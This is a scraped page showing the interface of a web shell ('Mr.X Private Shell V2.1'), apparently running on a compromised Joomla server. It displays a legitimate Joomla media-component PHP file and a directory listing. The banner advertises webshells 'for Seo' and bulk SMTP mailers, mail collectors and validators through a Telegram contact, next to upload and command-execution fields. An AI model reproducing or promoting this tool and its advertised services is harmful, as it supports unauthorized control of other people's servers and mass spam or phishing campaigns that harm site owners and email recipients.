__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Media\Administrator\Event;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Event object for fetch media items.
 *
 * @since  4.1.0
 */
final class FetchMediaItemsEvent extends AbstractMediaItemValidationEvent
{
    /**
     * Constructor.
     *
     * @param   string  $name       The event name.
     * @param   array   $arguments  The event arguments.
     *
     * @throws  \BadMethodCallException
     *
     * @since  4.1.0
     */
    public function __construct($name, array $arguments = [])
    {
        parent::__construct($name, $arguments);

        // Check for required arguments
        if (!\array_key_exists('items', $arguments) || !is_array($arguments['items'])) {
            throw new \BadMethodCallException("Argument 'items' of event $name is not of the expected type");
        }
    }

    /**
     * Validate $item to be an array
     *
     * @param   array  $items  The value to set
     *
     * @return array
     *
     * @since   4.1.0
     */
    protected function setItems(array $items): array
    {
        $result = [];

        foreach ($items as $item) {
            $clone = clone $item;

            $this->validate($clone);

            $result[] = $clone;
        }

        return $result;
    }

    /**
     * Returns the items.
     *
     * @param   array  $items  The value to set
     *
     * @return array
     *
     * @since   4.1.0
     */
    protected function getItems(array $items): array
    {
        $result = [];

        foreach ($items as $item) {
            $result[] = clone $item;
        }

        return $result;
    }
}

Filemanager

Name Type Size Permission Actions
AbstractMediaItemValidationEvent.php File 4.83 KB 0664
FetchMediaItemEvent.php File 2.44 KB 0664
FetchMediaItemUrlEvent.php File 2.81 KB 0664
FetchMediaItemsEvent.php File 1.88 KB 0664
MediaProviderEvent.php File 1.3 KB 0664
OAuthCallbackEvent.php File 1.62 KB 0664
Filemanager